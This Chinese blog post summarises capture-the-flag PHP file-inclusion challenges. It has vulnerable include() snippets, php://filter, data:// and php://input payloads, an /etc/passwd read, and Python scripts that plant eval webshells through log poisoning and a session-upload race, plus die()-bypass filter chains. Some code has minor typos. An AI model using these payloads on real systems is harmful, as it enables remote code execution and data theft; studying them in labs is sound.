您现在的位置是:首页 >学无止境 >文件包含总结网站首页学无止境

文件包含总结

weixin_48427966 2023-06-22 04:00:02
简介文件包含总结

目录

1.1、常见过滤

      常用3个payload

1.2以下通杀前面三个

1.3过滤了PHP,data,:,.这是后考虑session  web82-83

1.4下面是条件竞争的文件包含题目

1.5 get和post,file_put_content的组合

1.6对“/php|~|!|@|#|\$|\%|^|&|*|(|)|-|\_|+|=|./i”进行过滤

 1.7/http|https|data|input|rot13|base64|string|log|sess/i

  1.8 /http|https|data|input|rot13|base64|string|log|sess/i,绕过死亡代码die()


1.1、常见过滤

1、包含

    if(isset($_GET['file'])){
    $file = $_GET['file'];
    include($file);

2、将php替换为???

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    include($file); 

3、将php和data替换为???

i   f(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    include($file); 

4、将php和data替换为???

    f(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);

    $file = str_replace(":", "???", $file);
    include($file); 

      常用3个payload

1、?file=php://filter/convert.base64-encode/resource=flag.php
2、?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=

3、构建/?file=Php://input

post: <?php system("tac fl0g.php")?>

1.2以下通杀前面三个

web81

import requests
#【引入库】
url = "http://06040b54-48a5-4844-ae5c-630866bbc570.challenge.ctf.show/" + "?file=/var/log/nginx/access.log"
#【目标的url,较访问日志文件】

headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0<?php @eval($_POST[dotast]);?>'
}

#【身份识别,防止UA反爬机制】
data = {
    'dotast': 'system("cat fl0g.php");'
}

#【插进的数据,运行】
req = requests.get(url=url, headers=headers)

#【返回值post和get类型】
result = requests.post(url=url, data=data)
print(result.text)

1.3过滤了PHP,data,:,.这是后考虑session  web82-83

import io
import requests
import threading
url = 'http://38a04b8e-29d8-4742-893e-5780de71e5ad.challenge.ctf.show/'
sessionid='ctfshow'
data={
    "1":"file_put_contents('/var/www/html/1.php','<?php eval($_POST[2]);?>');"
}

def write(session):
    fileBytes=io.BytesIO(b'a' * 1024 * 50)
    while True:
        response=session.post(
            url=url,
            data={
                'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST[1]);?>'
            },
            cookies={
                'PHPSESSID':sessionid
            },
            files={
                'file':('ctfshow.jpg',fileBytes)
            }
        )
def read(session):
    while True:
        response = session.post(url+'?file=/tmp/sess_'+sessionid,data=data,
                                cookies={
                                    'PHPSESSID':sessionid
                                }
                                )
        response2=session.get(url+'1.php')
        if response2.status_code==200:
            print('++++++++++++done++++++++++++')
        else:
            print(response2.status_code)

if __name__ == '__main__':
    evnet=threading.Event()
    with requests.session() as session:
        for i in range(5):
            threading.Thread(target=write,args=(session,)).start()
        for i in range(5):
            threading.Thread(target=read,args=(session,)).start()
    evnet.set()

1.4下面是条件竞争的文件包含题目

web82

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    include($file);
}else{

web83

session_unset();
session_destroy();

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);

    include($file); 

web84

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    system("rm -rf /tmp/*");
    include($file);
web85

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    if(file_exists($file)){
        $content = file_get_contents($file);
        if(strpos($content, "<")>0){
            die("error");
        }
        include($file);
    } 

web86

define('还要秀?', dirname(__FILE__));
set_include_path(还要秀?);
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    include($file);

1.5 get和post,file_put_content的组合

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $content = $_POST['content'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);

    
}else{
    highlight_file(__FILE__);


众所周知,base64编码中只包含64个可打印字符,而PHP在解码base64时,遇到不在其中的字符时,将会跳过这些字符,仅将合法字符组成一个新的字符串进行解码。

所以,当$content被加上了<?php die('大佬别秀了');?>以后,我们可以使用 php://filter/write=convert.base64-decode 来首先对其解码。在解码的过程中,字符 <、?、;、>、空格、汉字 等字符不符合base64编码的字符范围将被忽略,所以最终被解码出来的的字符就变成 “phpdie” 和 我们传入的$content的值。

“phpdie”一共6个字符,因为base64算法解码时是4个byte一组,所以给它增加2个“a”一共8个字符。这样,"phpdieaa"就可以被正常解码,而后面我们传入的webshell的base64内容也被正常解码
————————————————
GET传参:
?file=php://filter/convert.base64-decode/resource=2.php
 进行url全编码↓
?file=%70%68%70%3A%2F%2F%66%69%6C%74%65%72%2F%63%6F%6E%76%65%72%74%2E%62%61%73%65%36%34%2D%64%65%63%6F%64%65%2F%72%65%73%6F%75%72%63%65%3D%32%2E%70%68%70
 进行url编码 ↓
?file=%2570%2568%2570%253a%252f%252f%2566%2569%256c%2574%2565%2572%252f%2563%256f%256e%2576%2565%2572%2574%252e%2562%2561%2573%2565%2536%2534%252d%2564%2565%2563%256f%2564%2565%252f%2572%2565%2573%256f%2575%2572%2563%2565%253d%2532%252e%2570%2568%2570

POST传参:
content=<?php system('cat f*.php');?>
 进行base64编码 ↓
content=PD9waHAgc3lzdGVtKCdjYXQgZioucGhwJyk7Pz4
 前面要加两个字符a
content=aaPD9waHAgc3lzdGVtKCdjYXQgZioucGhwJyk7Pz4

访问2.php

1.6对“/php|~|!|@|#|\$|\%|^|&|*|(|)|-|\_|+|=|./i”进行过滤

if(isset($_GET['file'])){
    $file = $_GET['file'];
    if(preg_match("/php|~|!|@|#|\$|\%|^|&|*|(|)|-|\_|+|=|./i", $file)){
        die("error");
    }
    include($file);
}else{
    highlight_file(__FILE__);
}

发现过滤的还是比较多,但是没有过滤: ,那我们就可以使用PHP伪协议就是 这里使用的是 data://text/plain;base64,poc 其实和79差不多 只是注意的是编码成base64的时候要去掉 =,因为过滤了=

把 <?php system(“cat fl0g.php”); 加密–>PD9waHAg3lzdGVtKCJjYXQgZmwwZy5waHAiKTs=,然后去掉=
————————————————

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmwwZy5waHAiKTs

 1.7/http|https|data|input|rot13|base64|string|log|sess/i

 

?file=/etc/passwd

能够正常读取,试了一下读取

/var/www/html/flag.php 

成功下载flag文件,得到flag。

  1.8 /http|https|data|input|rot13|base64|string|log|sess/i,绕过死亡代码die()

 function filter($x){
    if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
        die('too young too simple sometimes naive!');
    }
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);
 

和web87差不多,绕过死亡代码die(),但是过滤了base64,那我们换一种编码方式不就得了

PHP: 支持的字符编码 - Manual


?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=2.php
contents=?<hp pe@av(l_$OPTSa[aa]a;)>?

然后访问2.php
post
aaaa=system("tac flag.php");

风语者!平时喜欢研究各种技术,目前在从事后端开发工作,热爱生活、热爱工作。